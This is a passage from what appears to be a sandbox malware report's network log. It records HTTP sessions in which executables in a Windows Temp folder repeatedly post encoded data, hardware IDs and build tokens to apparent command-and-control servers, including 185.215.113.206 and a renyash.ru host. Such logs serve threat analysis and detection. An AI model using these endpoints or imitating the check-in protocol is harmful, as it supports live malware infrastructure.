Dec 16, 2024 13:17:50.799226046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:50.799241066 CET	1236	IN	Data Raw: 1c 70 d9 da a1 19 04 a9 81 84 fc db 2f 2f 12 cf 8c 0d f2 7a 44 44 f6 ea 75 fd 26 82 0b 01 9f 3c c1 3f 12 70 6d e9 b2 2c 79 f8 ba 9d 08 e4 28 12 fe 7e 5b fd ac 81 ef b8 be 57 42 95 53 00 b6 bd a6 3c af eb bc 91 1c dd 0d ff 20 2b b7 a5 ec 25 36 12 Data Ascii: p//zDDu&<?pm,y(~[WBS< +%6A,0FwAA3MC&x0Njm-ot&^p}?)z9;yt%\|5bBEk s{DK\"\n[}Y0}~1d&T4
Dec 16, 2024 13:17:50.799365044 CET	1236	IN	Data Raw: 97 94 5b 94 7d 77 bf a8 f1 80 75 18 ce fc 74 15 f5 c8 9d bd 03 05 91 8b 7b 79 77 a1 05 e8 bf dd 91 56 c2 79 39 99 62 9f 88 dc da 90 65 91 54 5a 31 99 92 1c be e6 2f fb a0 a0 a9 c8 b3 23 db a8 79 cb 28 ba 93 4f ee d6 13 7f b0 1c 79 4f 6e e5 95 19 Data Ascii: [}wut{ywVy9beTZ1/#y(OyOnq<\C"N1+DDFH->QpjUYIt3vlBI.^H()!D:1nD[0&PeMw!z@"1[m=x
Dec 16, 2024 13:17:50.799381971 CET	1120	IN	Data Raw: a9 0e 13 75 e1 f8 8b 8c 85 00 89 0a 92 94 bc c5 f9 89 f7 d9 61 d7 60 16 0a 19 58 3d 76 8b 5c 3e d3 ff 72 7e d8 67 f4 30 6b 1a 49 da a3 25 da d4 b4 88 5e 5c 91 e7 40 a7 21 dc 53 43 74 a2 81 4f 9d ec 33 20 8b 88 bd d4 0a 80 49 22 e1 c7 bf ac 95 6e Data Ascii: ua`X=v\>r~g0kI%^\@!SCtO3 I"n1%P`I4&\lO5'9F=3bvxQ89Twvvp\%"5DV#)<;OwUHH*ow}`z\|sKS0q/
Dec 16, 2024 13:17:50.799455881 CET	1236	IN	Data Raw: 8f 52 a7 bf bd 91 5b 1a f5 ac 4d 87 d7 dc f3 14 0d f8 f3 9d e8 85 a2 85 2b 4d ac af b5 91 98 26 0c e1 26 69 8e cc 58 fc f5 46 4b c3 67 cd 5b ec 2a 9b 07 82 58 1c 03 af 3f b7 c4 07 5f 95 bb bb f1 f7 ac 71 f1 1d 21 23 45 15 37 86 fc 36 8e 11 21 84 Data Ascii: R[M+M&&iXFKg[*X?_q!#E76!$_L^jA$+" w8!,PBjJyPB[?p?'M\X8X8+4ELM>s-g9[SusaYoNZ
Dec 16, 2024 13:17:50.799472094 CET	1236	IN	Data Raw: e0 49 19 33 95 f0 76 e5 11 3d 5a 59 a5 80 48 e5 f4 ec 6e 34 71 cf 7a 98 5a f1 f7 26 a9 f6 86 9b 51 8a 5f c4 19 84 6c 14 9f 91 89 f4 a6 fa 50 d0 be d0 e9 98 9b f4 4b 32 e8 b8 64 a5 ce 72 bf a6 00 24 9e c2 36 9d a0 40 bd e2 50 71 8e 11 9f fc 2d f2 Data Ascii: I3v=ZYHn4qzZ&Q_lPK2dr$6@Pq-~jUkTX>g=p\|{&:;9'&;j$dn5i@rzFaNqZq^1;{S
Dec 16, 2024 13:17:50.943253040 CET	1236	IN	Data Raw: a9 94 b3 e0 a4 ec 58 f1 05 94 cd d7 a4 2f b9 8d 2e 0c 5a d7 df 69 d4 48 79 c1 33 95 ff fd 57 a3 21 fb bc 79 64 b4 62 ea 45 85 ab 9d 21 37 b0 7d 2e 5c a8 28 49 6e 87 f3 61 a8 45 41 f4 01 c4 f8 2d e8 cf 6f 0c 89 ab 41 08 a4 99 3c 2e d8 24 d1 f8 70 Data Ascii: X/.ZiHy3W!ydbE!7}.\(InaEA-oA<.$p*h~lwc/ZBq=(8+h5s#K,F'1@Q@4-(G^!s&ulrex3DGspa=E#s tJsha?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	50087	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:50.194730997 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1920 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:50.541287899 CET	1920	OUT	Data Raw: 58 52 43 57 59 5c 54 5a 5d 5a 59 53 57 5e 5a 51 5a 50 5f 54 51 58 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XRCWY\TZ]ZYSW^ZQZP_TQXRCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [(<=*/$$Y$=[7:Y90)+$&1=)>:"'8)8"F"#Y 0
Dec 16, 2024 13:17:51.280365944 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:51.527287960 CET	956	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b3eXr3yhtPUeLT%2Ftr%2FIhkkZijpJCGFapKjPwKsr43KM%2Fr1t9exHiva1qzlm2kCfEr45t1YgHmC33CH1ul2WAJ45vGabDIB1cXRArPWgTXLU3o7WdRcB%2FiStUzZvtGilmgcdXWKYn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9cd689af7293-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7035&min_rtt=1830&rtt_var=11096&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2263&delivery_rate=33586&cwnd=157&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 39 1f 27 13 2e 13 21 3e 24 09 3d 01 3f 0d 27 1d 29 5c 2f 3f 02 40 31 23 00 10 25 0b 25 5b 25 1a 2f 5b 20 31 2b 0e 27 1f 2f 0d 26 27 23 5d 01 1b 27 40 33 2d 2e 15 28 2f 2e 5a 33 20 0c 0a 31 00 28 18 31 0a 34 1c 31 33 2b 52 36 01 3d 04 2c 0c 2e 5b 2b 3c 23 14 39 23 2e 03 37 04 21 52 0d 13 21 08 26 28 39 00 33 08 23 5a 37 1d 38 01 23 27 3b 53 27 12 05 50 24 3a 20 5c 33 11 08 59 25 28 05 5d 29 28 29 0e 23 31 30 1e 2a 3e 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 989'.!>$=?')\/?@1#%%[%/[ 1+'/&'#]'@3-.(/.Z3 1(1413+R6=,.[+<#9#.7!R!&(93#Z78#';S'P$: \3Y%(])()#10*> R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	50088	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:50.318707943 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:50.662480116 CET	1060	OUT	Data Raw: 58 55 46 53 59 51 54 5e 5d 5a 59 53 57 59 5a 54 5a 50 5f 5f 51 5b 52 46 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUFSYQT^]ZYSWYZTZP__Q[RFXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ _?"=-;^' _0>? )'-3?,%22S=#Q'*8"F"#Y ,
Dec 16, 2024 13:17:51.403765917 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:51.639534950 CET	809	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gDi2V1EkwBgbqclf0AF1VB7L%2BR695YgGUH6ToD0BLbrq3rykndl9u%2BxTsgu6EGBhx08GUIaFDJqqcNHU8Mgxmr%2B4kcVjutJX%2FNQdN%2BtrNJiQoOHxRtWSxgos99f6iLRx1UAIIdph"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9cd75b2c7290-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3479&min_rtt=2016&rtt_var=3682&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=106398&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	50093	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:51.887959003 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:17:52.233390093 CET	1060	OUT	Data Raw: 5d 50 43 53 59 5a 54 5a 5d 5a 59 53 57 5d 5a 54 5a 55 5f 5a 51 5c 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]PCSYZTZ]ZYSW]ZTZU_ZQ\REXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ X)?>>>#]0%.<40X:\$+(?R$"=>!"$,(("F"#Y <
Dec 16, 2024 13:17:52.974013090 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:53.211808920 CET	810	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i8X10hWwv1yK4ZzgdB6t5FZPzNow0%2BNZwEJj2u4JMpuiuv%2BZnv2yrgW7VSdw6%2FWy7BJ31t6aQLl140YJPqOWLbcgdNwo%2FK1yLp8wRK7SuS%2BmvqIhupv2nZnf62k%2BE44cYp21dogC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9ce1291b728d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4398&min_rtt=1898&rtt_var=5712&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=66666&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	50099	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:53.518512964 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:53.864923954 CET	1060	OUT	Data Raw: 58 53 43 53 5c 5c 54 5b 5d 5a 59 53 57 53 5a 55 5a 53 5f 5b 51 5c 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XSCS\\T[]ZYSWSZUZS_[Q\RCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+>T*=% 0]'7)$X: ?+W1=^"7;]>"F"#Y
Dec 16, 2024 13:17:54.603493929 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:54.852579117 CET	806	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j7dhnNrGA8ah%2FsuWH59rru18HuJSUIQxLshZofoFrBLKOgwhfosxFBS%2FMviITOli3eVHpUhXqusRYYGR3S7pgatvYoWY%2FENDgNytblPjt4ZTO8IsHaPhlEBLIZSsd7odCQa%2FZhmW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9ceb5ff080e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3558&min_rtt=1638&rtt_var=4454&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=85892&cwnd=201&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	50100	185.215.113.206	80	1012	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:53.755863905 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIDAFIEBFCBKFHIDHIJE--
Dec 16, 2024 13:17:55.593611002 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	50107	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:55.412686110 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:55.757821083 CET	1060	OUT	Data Raw: 58 5a 43 52 59 5c 54 5d 5d 5a 59 53 57 58 5a 53 5a 53 5f 55 51 59 52 46 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XZCRY\T]]ZYSWXZSZS_UQYRFXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+?&=[ $3+3/\4\<-<?2=:48*("F"#Y (
Dec 16, 2024 13:17:56.501986027 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	50109	185.215.113.206	80	5172	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:56.355962038 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 13:17:57.687340975 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 13:17:57.690063000 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGCGDHJEGHJKFHJJJKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 43 36 43 45 44 44 32 35 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------FCGCGDHJEGHJKFHJJJKJContent-Disposition: form-data; name="hwid"A6C6CEDD252E3441041814------FCGCGDHJEGHJKFHJJJKJContent-Disposition: form-data; name="build"stok------FCGCGDHJEGHJKFHJJJKJ--
Dec 16, 2024 13:17:58.131333113 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	50111	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:56.664221048 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 2016 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:57.025826931 CET	2016	OUT	Data Raw: 58 54 46 54 59 5b 54 5b 5d 5a 59 53 57 53 5a 56 5a 56 5f 5a 51 5d 52 48 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XTFTY[T[]ZYSWSZVZV_ZQ]RHXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ Z?T>'^0?3'[")(X9]+8<2:=>#Y)"F"#Y
Dec 16, 2024 13:17:57.749825954 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:57.983350992 CET	960	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uIqrV%2F10AJHUa0Wm%2B7cn4UVp9wtoIHXZxBVS4qoVH9wHiDPQLxtHT%2BpUK%2FXen0sf9cH10DCKObM3Skwowg2pPJJVwqNxyLQMxaI2wKdDfw7kgLX4xohFEgON%2BZFw%2BUuBTOMetcVB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9cfefb175e7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6838&min_rtt=1612&rtt_var=11057&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2359&delivery_rate=33623&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 39 12 33 3d 0b 06 34 3e 33 14 2a 2f 3f 0c 26 20 3e 06 2f 2c 3b 1a 26 0d 26 13 27 31 39 5b 24 37 2b 19 22 32 34 54 24 0f 0d 0e 32 1d 23 5d 01 1b 27 0b 27 00 2d 04 3c 2f 0f 00 33 0e 36 05 26 2e 19 0b 26 0a 06 53 27 30 27 1d 21 38 22 1e 2e 31 32 5b 28 3f 02 07 2c 33 2d 5d 20 14 21 52 0d 13 22 54 30 01 32 5f 24 1f 28 02 23 33 27 59 22 37 30 08 24 2c 2b 16 25 03 34 5a 30 2f 26 5f 25 38 3c 01 28 38 2e 55 20 0c 09 0d 28 3e 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 9893=4>3*/?& >/,;&&'19[$7+"24T$2#]''-</36&.&S'0'!8".12[(?,3-] !R"T02_$(#3'Y"70$,+%4Z0/&_%8<(8.U (> R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	50113	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:56.804290056 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:57.166941881 CET	1060	OUT	Data Raw: 58 57 46 53 59 5e 51 5d 5d 5a 59 53 57 5d 5a 51 5a 5f 5f 59 51 5d 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XWFSY^Q]]ZYSW]ZQZ__YQ]RAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ Z<,)=-?]33?0-7_ :<-)4++<11-=.%_7'0)"F"#Y <
Dec 16, 2024 13:17:57.889594078 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:58.142672062 CET	805	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=04YS4n7xdpAYcYNGRaTGkvSkRaPDLMpJQvJgVX%2B6KsTtR0NhXDRKM1emQ5aDnNIQLD4klvukr81U151og0O1qTqSJ65hHDMAztGZtf722dyHnjRK%2FI6QMXzLgCPDpeXd%2F4331hOk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9cffd9ac43a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2902&min_rtt=1552&rtt_var=3282&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=118170&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 